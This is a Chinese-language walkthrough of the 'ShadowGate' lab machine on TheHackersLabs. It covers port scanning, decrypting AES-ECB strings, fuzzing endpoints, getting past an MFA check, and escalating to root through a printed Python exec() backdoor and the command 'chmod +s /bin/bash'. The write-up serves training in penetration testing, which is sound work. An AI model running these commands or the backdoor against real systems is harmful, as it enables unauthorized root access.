<h1>ShadowGate</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/97">https://labs.thehackerslabs.com/machine/97</a>
</blockquote>
<img src="/post-images/TheHackersLabsShadowGate/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ ShadowGate nmap -sT -min-rate 10000 -p- 192.168.56.105
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 21:20 CST
Nmap scan report for 192.168.56.105
Host is up (0.00050s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
56789/tcp open unknown
MAC Address: 08:00:27:B2:61:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 16.41 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ ShadowGate nmap -sT -A -p 22,8080,56789 192.168.56.105
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 21:21 CST
Nmap scan report for 192.168.56.105
Host is up (0.00047s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 84:05:fe:ed:47:16:ab:28:70:0f:44:6e:f6:8d:0c:6f (ECDSA)
|_ 256 99:a9:88:76:ee:c8:ed:ce:73:57:2a:22:da:9f:7b:7e (ED25519)
8080/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-title: 403 Forbidden
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
56789/tcp open tcpwrapped
MAC Address: 08:00:27:B2:61:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.47 ms 192.168.56.105

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.07 seconds
</code></pre>
<h3>枚举</h3>
<code>8080</code> 端口
提示错误的方法，但是你找到路径了
<img src="/post-images/TheHackersLabsShadowGate/Snipaste_2025-08-05_21-30-52.png" alt="Snipaste_2025-08-05_21-30-52.png">
改为 <code>POST</code> 方法后提示
<img src="/post-images/TheHackersLabsShadowGate/image1.png" alt="image.png">
没有任何信息，看一下其他端口
奇怪的 <code>56789</code> 端口，<code>nc</code> 试一下
<pre><code class="hljs language-bash">➜ ShadowGate nc 192.168.56.105 56789 
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.
Listening... but no response.
</code></pre>
<blockquote>
暗影之门 v1.0 :: 并非所有门都锁着。有些门在等待夜幕降临。仔细聆听——噪音中隐藏着规律。顺序总是很重要。
聆听……但没有回应。
</blockquote>
看着像是要向里边按顺序输入一下东西
<h2>56789</h2>
当我们输入 <code>n0cturne</code> 时，会出现好几串 <code>base64</code> 加密后的字符
<img src="/post-images/TheHackersLabsShadowGate/image2.png" alt="image.png">
并且重新输入生成的还是不一样的
<img src="/post-images/TheHackersLabsShadowGate/image3.png" alt="image.png">
根据特征，解密后得到 16字节 = 128位。这是现代分组密码（如 <code>AES-128</code>）最常见的块大小（Block Size）
<pre><code class="hljs language-bash">// 第一次生成
YzRmN2QzNQ==
MwaB7TbchXxNQQwID9JXIg==
7+ptCEtXTcCFo8dVwYrIEw==
YAgEH6bP+PPY4VyD80z7sg==
a+T5dxugIDfFykgQi71Eag==
fGMHS36e74T+cALZURlj8g==
ez4fog9UnAeemGETp6K2Aw==
XZSJq2YIk3v/GM9R/NPa9w==
sh6KfrTKDXndFadgySlIhA==

// 第二次生成
YzRmN2QzNQ==
5/moJpOc9OpfYOHR6jl+bA==
GWxuKkuzPn0t4aTSO0livQ==
E2QIRlxnY+gWfTlVUcm4LA==
Yu9ChnO4fJxbMPPGbN04ug==
NdNO8rDcGcLah47kqmnKBA==
gFpBAQKKx1QDMNw60GkiwA==
4eL9754ZX/qQYUk4s6Q9SA==
Mxte5TYR9OIZuzOmQDWAYg==
</code></pre>
第一行解码为：<code>YzRmN2QzNQ==</code> ><code>c4f7d35</code>
这里因为我对密码学不熟，查阅了一下 <code>WP</code>
第一串编码应该是密钥
<pre><code class="hljs language-bash">(more) ➜ ShadowGate echo -n "c4f7d35" | sha256sum
7c4aedf4c9394cf4f128c343b75b442eed08c5d51dbed97b9a1fadc0441a7b75 -
</code></pre>
然后在 <code>cyberchef</code> 进行解密，因为我们不知道 <code>IV</code> 以及加密模式，我们都可以进行测试一下，最后可以使用 <code>ECB/NoPadding</code> 进行解密
解密第一次的密文
<img src="/post-images/TheHackersLabsShadowGate/image4.png" alt="image.png">
解密第二次的密文
<img src="/post-images/TheHackersLabsShadowGate/image5.png" alt="image.png">
可以发现每一段密文的第一个字符都是一样的，能拿到 <code>v4u1tgx9</code>
<h2>8080</h2>
拿到 <code>v4u1tgx9</code> 之后，我们应该可以对 <code>8080</code> 进行测试了
输入 <code>username</code>
<img src="/post-images/TheHackersLabsShadowGate/image6.png" alt="image.png">
<blockquote>
令牌已派出。你只需要……侧身看。
</blockquote>
提示缺少 <code>Token</code> ，并且还看到相应保中带有 <code>MFA</code>（双重认证），是基于时间生成的 <code>TOTP</code> 一次性口令，无法直接爆破
对目录进行爆破，尝试寻找更多接口
<pre><code class="hljs language-bash">➜ ShadowGate ffuf -u 'http://192.168.56.105:8080/FUZZ' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -fc 404,403 -X POST -H 'Content-Type: application/x-www-form-urlencoded'

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : POST
 :: URL : http://192.168.56.105:8080/FUZZ
 :: Wordlist : FUZZ: /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt
 :: Header : Content-Type: application/x-www-form-urlencoded
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response status: 404,403
________________________________________________

login [Status: 200, Size: 48, Words: 8, Lines: 1, Duration: 72ms]
verify [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 85ms]
</code></pre>
找到 <code>verify</code> 的端点，进行测试，所以 <code>login</code>是第一层认证，<code>verify</code> 是第二层认证
将第一层的响应中的 <code>X-Shadow-MFA: 286346</code> 放到 <code>verify</code>中
<img src="/post-images/TheHackersLabsShadowGate/image7.png" alt="image.png">
添加后提示：” 承认。主动服务。“
<img src="/post-images/TheHackersLabsShadowGate/image8.png" alt="image.png">
回到 <code>56789</code>端口，原本的行为会被改变
<img src="/post-images/TheHackersLabsShadowGate/image9.png" alt="image.png">
得到一组凭据 <code>mars:sshpassword123</code>
该用户能读取 <code>user.txt</code>
<pre><code class="hljs language-bash">mars@TheHackersLabs-Shadowgate:~$ cat user.txt 
acf9xxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
查看正在监听端口
存在一个本地打开 <code>4444</code> 端口
<pre><code class="hljs language-bash">mars@TheHackersLabs-Shadowgate:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process 
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:* 
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* 
udp UNCONN 0 0 192.168.56.105%enp0s3:68 0.0.0.0:* 
tcp LISTEN 0 5 127.0.0.1:4444 0.0.0.0:* 
tcp LISTEN 0 5 0.0.0.0:2222 0.0.0.0:* users:(("socat",pid=25904,fd=5)) 
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* 
tcp LISTEN 0 5 0.0.0.0:56789 0.0.0.0:* 
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* 
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* 
tcp LISTEN 0 4096 *:22 *:* 
</code></pre>
使用 <code>socat</code> 转发出来
<pre><code class="hljs language-bash">mars@TheHackersLabs-Shadowgate:~$ ./socat TCP-LISTEN:2222,fork TCP4:127.0.0.1:4444 &#x26;
</code></pre>
进行交互
<img src="/post-images/TheHackersLabsShadowGate/image10.png" alt="image.png">
测试了一下有点懵
在 <code>/opt</code> 中能找到源码
<pre><code class="hljs language-bash">mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ cat shadow-client.py
#!/usr/bin/env python3
import socket
import threading
import io
import contextlib

def handle_client(client_socket):
 client_socket.send(b"Welcome to Shadow Client Helper\n")
 client_socket.send(b"This is an unrestricted environment. Good luck, hacker.\n")
 while True:
 client_socket.send(b">>> ")
 code = client_socket.recv(1024).decode().strip()
 try:
 output = io.StringIO()
 with contextlib.redirect_stdout(output):
 exec(code, globals())
 result = output.getvalue()
 if result.strip():
 client_socket.send(result.encode())
 except Exception as e:
 client_socket.send(f"Error: {e}\n".encode())

def main():
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 server.bind(("127.0.0.1", 4444))
 server.listen(5)
 while True:
 client, addr = server.accept()
 client_handler = threading.Thread(target=handle_client, args=(client,))
 client_handler.start()

if __name__ == "__main__":
 main()
</code></pre>
简单来说，它创建了一个服务器，任何连接到这个服务器的客户端都可以执行任意的 Python 代码，并获取执行结果。 这本质上是一个远程代码执行（RCE, Remote Code Execution）的后门程序。
这就简单了，输入
<pre><code class="hljs language-bash">>>> import os;
>>> os.system("chmod +s /bin/bash")
</code></pre>
回到靶机上查看
<img src="/post-images/TheHackersLabsShadowGate/image11.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ /bin/bash -p
bash-5.2# cd /root
bash-5.2# cat root.txt
437axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>

ShadowGate https://labs.thehackerslabs.com/machine/97 Recon PortScan 枚举 8080 端口 提示错误的方法，但是你找到路径了 改为 POST 方法后提示 没有任何信息，看一下其他端口 奇怪的 56789 端口，nc 试一下 暗影之门...

TheHackersLabs - ShadowGate

TheHackersLabs - THLPWN

念念碎